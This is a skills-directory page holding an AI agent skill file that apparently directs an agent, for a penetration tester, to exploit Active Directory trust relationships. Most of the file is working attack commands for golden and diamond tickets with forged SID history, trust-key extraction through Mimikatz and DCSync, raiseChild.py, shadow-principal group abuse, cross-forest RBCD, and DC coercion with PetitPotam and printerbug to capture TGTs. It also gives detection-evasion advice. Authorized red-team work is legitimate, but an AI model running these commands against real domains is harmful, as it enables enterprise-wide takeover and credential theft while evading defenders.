Installs into .claude/skills of the current project.
Are you the author of Ad Trust Attacks?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/ajtazer-ad-trust-attacks)
---
name: ad-trust-attacks
description: You are helping a penetration tester enumerate and exploit Active Directory
sources: community, blacklanternsecurity/red-run
---
# Trust Attacks
You are helping a penetration tester enumerate and exploit Active Directory
trust relationships for cross-domain and cross-forest privilege escalation.
All testing is under explicit written authorization.
## Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[trust-attacks] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
## State Management
Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
## Prerequisites
**Access required**: Domain Admin in at least one domain (for trust key
extraction and krbtgt hash). Lower-privilege paths exist for trust account
authentication.
**Kerberos authentication setup** (for enumeration and tool execution):
```bash
# Obtain TGT
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache
# All Impacket commands: -k -no-pass
# NetExec: --use-kcache
# bloodyAD: -k
```
**Tools**: Mimikatz, Rubeus, Impacket (ticketer.py, raiseChild.py,
lookupsid.py, secretsdump.py, psexec.py), PowerView, bloodyAD, NetExec.
## Step 1: Enumerate Trust Relationships
### Trust Discovery
```bash
# Native Windows
nltest /trusted_domains
# PowerView — all trusts with properties
Get-DomainTrust
Get-DomainTrust -Domain parent.local
# AD Module — trust properties (critical for attack viability)
Get-ADTrust -Filter * -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive
# .NET — all trusts from current domain
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
# NetExec module
nxc ldap DC_IP -u 'user' -p 'pass' --use-kcache -M enum_trusts
# Impacket — enumerate SIDs in target domain
lookupsid.py -k -no-pass DOMAIN/user@DC_IP
```
### Key Properties to Assess
| Property | Impact |
|----------|--------|
| `SIDFilteringQuarantined` | If `False`, SID history injection works across trust |
| `SelectiveAuthentication` | If `True`, only explicitly allowed users can authenticate |
| `ForestTransitive` | Indicates forest-level trust (broader scope) |
| `TrustDirection` | Inbound/Outbound/Bidirectional — determines attack direction |
| `TGTDelegation` | If `True`, unconstrained delegation possible across trust |
### Cross-Domain Group Membership
```bash
# Foreign group members (users from other domains in local groups)
Get-DomainForeignGroupMember
Get-DomainForeignGroupMember -Domain parent.local
# Foreign users with local admin
Get-NetLocalGroupMember -ComputerName dc.parent.local
```
### Trust Type Decision Tree
```
Trust Found
├── Parent-Child (in-forest) → SID filtering NOT enforced → Step 2 (SID History)
├── Forest Trust
│ ├── TGTDelegation = True + admin on trusted DC → Step 6 (TGT Delegation Coercion)
│ ├── SIDFilteringQuarantined = False → Step 2 (SID History cross-forest)
│ ├── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) or Step 5 (enum only)
│ └── PAM trust attributes → Step 4 (Shadow Principals)
├── External Trust
│ ├── SIDFilteringQuarantined = False → Step 2 (SID History)
│ └── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) + Step 5
└── One-Way Trust
├── Inbound (they trust us) → Step 3 (authenticate into their domain)
└── Outbound (we trust them) → Step 5 (limited attack surface)
```
## Step 2: SID History Injection (Child -> Parent / Cross-Forest)
The primary trust escalation technique. Forge a ticket in the child domain
with the parent domain's Enterprise Admins SID (S-1-5-21-PARENT-519) in
the SID history field.
**Prerequisite**: krbtgt hash from child domain + parent domain SID.
### Obtain Domain SIDs
```bash
# Child domain SID
lookupsid.py -k -no-pass CHILD.LOCAL/user@child-dc 0
# Parent domain SID + Enterprise Admins
lookupsid.py -k -no-pass CHILD.LOCAL/user@parent-dc | grep "Enterprise Admins"
# Note the SID before -519 as the parent domain SID
```
### Golden Ticket with Extra SIDs (Mimikatz)
```powershell
# AES256 preferred — avoids RC4 detection
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /aes256:<CHILD_KRBTGT_AES256> /sids:S-1-5-21-PARENT_SID-519 /startoffset:-10 /endin:600 /renewmax:10080 /ptt
# RC4 fallback
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /rc4:<CHILD_KRBTGT_RC4> /sids:S-1-5-21-PARENT_SID-519 /ptt
```
Use `/startoffset`, `/endin`, `/renewmax` to match domain policy (avoid
default 10-year lifetime which is an obvious detection indicator).
### Diamond Ticket with Extra SIDs (Rubeus — Recommended for OPSEC)
```powershell
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-PARENT_SID-519 /krbkey:<CHILD_KRBTGT_AES256> /nowrap /ldap
```
Diamond ticket modifies a legitimate TGT — generates matching 4768->4769
event pairs (golden ticket skips the 4768).
### Impacket ticketer.py (Linux)
```bash
# Generate ticket with extra SID
ticketer.py -nthash <CHILD_KRBTGT_NTLM> \
-domain child.local \
-domain-sid S-1-5-21-CHILD_SID \
-extra-sid S-1-5-21-PARENT_SID-519 \
Administrator
# Or with AES (preferred)
ticketer.py -aesKey <CHILD_KRBTGT_AES256> \
-domain child.local \
-domain-sid S-1-5-21-CHILD_SID \
-extra-sid S-1-5-21-PARENT_SID-519 \
Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass child.local/Administrator@parent-dc.parent.local
secretsdump.py -k -no-pass child.local/Administrator@parent-dc.parent.local
```
### Automated: raiseChild.py
```bash
# Full automation: extract krbtgt, get parent SID, forge ticket, authenticate
raiseChild.py -target-exec parent-dc.parent.local child.local/admin_user
# With Kerberos auth
raiseChild.py -k -no-pass -target-exec parent-dc.parent.local child.local/admin_user
```
Automatically: gets Enterprise Admins SID from parent, retrieves child
krbtgt, creates golden ticket with extra SID, authenticates to parent DC,
extracts parent admin credentials.
### PAC Validation Considerations (2025+)
Windows Server 2025 DCs with PAC signature validation in enforcement mode
(CVE-2024-26248/29056) require valid cross-realm PAC signatures. Check
registry `PacSignatureValidationLevel`:
- **Compatibility mode** (default during rollout): forged PAC accepted
- **Enforcement mode** (2025+ default): requires trust key to sign PAC
If enforcement mode is active, use trust ticket approach (Step 3) instead.
## Step 3: Inter-Realm TGT Forging (Trust Ticket)
Forge an inter-realm TGT using the trust account key. Useful when:
- You have the trust key but not the krbtgt hash
- PAC enforcement blocks SID history injection
- Attacking external/forest trusts where SID filtering is enabled
### Extract Trust Key
```powershell
# Mimikatz — dump trust keys from DC
lsadump::trust /patch
# Look for: [In] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>
# Look for: [Out] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>
# Alternative: DCSync the trust account
lsadump::lsa /inject /name:TARGETDOMAIN$
```
```bash
# Impacket — DCSync trust account
secretsdump.py -k -no-pass DOMAIN/admin@dc | grep '\$'
```
### Forge Inter-Realm TGT
```powershell
# Mimikatz — inter-realm TGT (referral ticket)
kerberos::golden /domain:source.local /sid:S-1-5-21-SOURCE_SID /rc4:<TRUST_RC4> /user:Administrator /service:krbtgt /target:target.local /ticket:trust.kirbi
# Request service ticket in target domain
Rubeus.exe asktgs /ticket:trust.kirbi /service:CIFS/dc.target.local /dc:dc.target.local /ptt
```
### Trust Account Authentication
```powershell
# Authenticate as the trust account itself
Rubeus.exe asktgt /user:TARGETDOMAIN$ /domain:source.local /rc4:<TRUST_RC4> /dc:dc.source.local /ptt
# Now Kerberoast in target domain
Rubeus.exe kerberoast /domain:target.local
```
```bash
# From Linux
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache
# Kerberoast via trust account
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$
```
## Step 4: PAM Trust Exploitation (Shadow Principals)
PAM (Privileged Access Management) trusts use shadow security principals in
a bastion forest to manage access to production forests. Compromising the
bastion forest gives instant access to all managed forests.
**Prerequisite**: Windows Server 2016 or later. Trust with
`ForestTransitive=True` and `SIDFilteringQuarantined=False`.
### Enumerate Shadow Principals
```powershell
# Find shadow principal configuration
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | Select Name,member,msDS-ShadowPrincipalSid
# Example output:
# Name: forest-ShadowEnterpriseAdmin
# member: CN=PAMAdmin,CN=Users,DC=bastion,DC=local
# msDS-ShadowPrincipalSid: S-1-5-21-MANAGED_SID-519
```
### Exploit: Add User to Shadow Principal Group
```powershell
# Windows — add compromised user to shadow principal
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" -Add @{'member'="CN=compromised_user,CN=Users,DC=bastion,DC=local"}
```
```bash
# Linux — bloodyAD (Kerberos auth)
bloodyAD --host bastion-dc -d bastion.local -k add groupMember \
'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local' \
compromised_user
```
Result: compromised user now has Enterprise Admin rights in all managed
forests via the shadow principal SID mapping.
## Step 5: Cross-Forest Enumeration via Trust Account
When SID filtering is enabled and direct escalation is blocked, use the
trust account for reconnaissance in the target forest.
### Kerberoasting via Trust
```bash
# Authenticate as trust account
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache
# Kerberoast in target domain
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$ -outputfile trust-kerberoast.txt
```
### Cross-Forest RBCD
When you control a machine account in the trusted forest and have write
access to a computer in the trusting forest:
```powershell
# 1. Set RBCD on target in trusting forest
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount OURHOST$
# 2. Request inter-realm TGT
Rubeus.exe asktgt /user:OURHOST$ /domain:our.local /rc4:<RC4> /ptt
# 3. S4U impersonation
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/victim-host.target.local /altservice:LDAP /ptt
```
### Enumerate Across Trust
```bash
# BloodHound collection across trust
bloodhound-python -u 'user' -p 'pass' -d target.local -ns TARGET_DC_IP -c All
# LDAP queries into target domain
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --users
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --groups
```
## Step 6: TGT Delegation Coercion Capture (Cross-Forest)
When a forest trust has `TGTDelegation = True` (the `CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION`
flag), DCs in the trusting forest forward their full TGT when authenticating
cross-forest to DCs in the trusted forest. DCs have unconstrained delegation
by default — any DC in the trusted forest can harvest forwarded TGTs.
**Prerequisites**: Admin/SYSTEM on a DC in the **trusted** forest (the forest
that receives authentication). Forest trust with TGTDelegation enabled.
**See also**: kerberos-delegation Step 2 covers unconstrained delegation TGT
harvesting in same-domain context. This step applies the same technique
cross-forest via the trust's TGT delegation flag.
### 1. Monitor for Incoming TGTs (Trusted Forest DC)
```powershell
# Rubeus — monitor for TGTs arriving via unconstrained delegation
# Run on the DC in the trusted forest (where you have admin)
Rubeus.exe monitor /interval:5 /nowrap /filteruser:TRUSTING_DC$
```
### 2. Coerce the Trusting Forest DC
Trigger the trusting forest DC to authenticate to the trusted forest DC.
**Critical: use the HOSTNAME of the trusted DC, not its IP.** IP causes NTLM
fallback which does not trigger TGT forwarding. The hostname forces Kerberos
authentication, which triggers the TGT delegation.
```bash
# From any host with domain creds — coerce TRUSTING_DC → TRUSTED_DC
# Use HOSTNAME for listener (forces Kerberos, triggers TGT forwarding)
python3 printerbug.py DOMAIN/user@TRUSTING_DC TRUSTED_DC_HOSTNAME
python3 PetitPotam.py -u user -p 'password' -d DOMAIN TRUSTED_DC_HOSTNAME TRUSTING_DC
python3 dfscoerce.py -u user -d DOMAIN TRUSTED_DC_HOSTNAME TRUSTING_DC
```
### 3. Capture and Use Forwarded TGT
Rubeus captures the trusting DC's machine TGT (e.g., `DC01$`). Convert and
use for DCSync:
```bash
# Convert .kirbi (base64 from Rubeus) → .ccache
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
# DCSync the trusting forest with the captured DC machine TGT
secretsdump.py -k -no-pass TRUSTING_DOMAIN/DC01\$@TRUSTING_DC_FQDN -just-dc
```
## Step 7: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
## Troubleshooting
### SID History Injection Fails
- **SID filtering enabled**: Check `Get-ADTrust -Properties SIDFilteringQuarantined`.
If `True` on forest trust, SID history is stripped. Use trust ticket (Step 3)
or Kerberoasting via trust account (Step 5) instead.
- **Selective Authentication**: Check `SelectiveAuthentication` property.
If `True`, only explicitly allowed users can authenticate across the trust.
- **PAC validation enforcement**: Windows Server 2025+ DCs may enforce PAC
signatures. Use diamond ticket or trust ticket approach.
### Trust Key Extraction Fails
- **lsadump::trust /patch fails**: Try `lsadump::lsa /inject /name:DOMAIN$`
or DCSync the trust account: `secretsdump.py -k -no-pass domain/admin@dc`.
- **Trust key rotated**: Trust passwords rotate every 30 days. Extract the
current key, not a cached one.
### Cross-Forest Access Denied
- **Clock skew** (`KRB_AP_ERR_SKEW`): **Clock Skew Interrupt** — stop
immediately and return to the orchestrator. Do not retry or fall back to
NTLM. Fix requires root: `sudo ntpdate TARGET_DC`
- **DNS resolution**: Target DC must be resolvable. Add `/etc/hosts` entries
or configure DNS forwarding.
- **Service ticket refused**: Verify the service exists and the trust account
has access. Try CIFS first (most permissive).
### raiseChild.py Errors
- **"Cannot find the domain"**: Ensure DNS resolution for both child and
parent domain. Add `/etc/hosts` entries for both DCs.
- **"Access denied"**: Requires DA in the child domain. Verify with
`nxc smb child-dc -k --use-kcache`.
### Diamond Ticket SID History
- **Rubeus diamond fails**: Ensure `/ldap` flag is included for PAC
attribute resolution. Use `/tgtdeleg` for automatic TGT acquisition.
- **Missing /sids**: The `/sids` parameter is required for cross-domain
escalation — without it, the ticket is valid only in the current domain.
## OPSEC Comparison
| Technique | OPSEC | Detection | Notes |
|-----------|-------|-----------|-------|
| Trust enumeration | Low | Read-only LDAP queries | Standard recon |
| Diamond ticket + extra SID | Medium | 4768+4769 pair (normal) | Best for stealth |
| Golden ticket + extra SID | Medium-High | 4769 without 4768 | Detectable pattern |
| Inter-realm TGT (trust key) | Medium | Service ticket requests from trust account | Unusual but not alarming |
| Trust account Kerberoasting | Low-Medium | 4769 events | Offline cracking |
| raiseChild.py | High | Full chain (DCSync + ticket + auth) | Automated = fast but loud |
| PAM shadow principal modification | Medium | 5136 (object modification) | Bastion forest only |
| Cross-forest RBCD | Medium | S4U2Proxy events (4769) | Requires write access |
| TGT delegation coercion | Medium | 4624 + coercion RPC (4769 cross-forest) | Requires admin on trusted DC |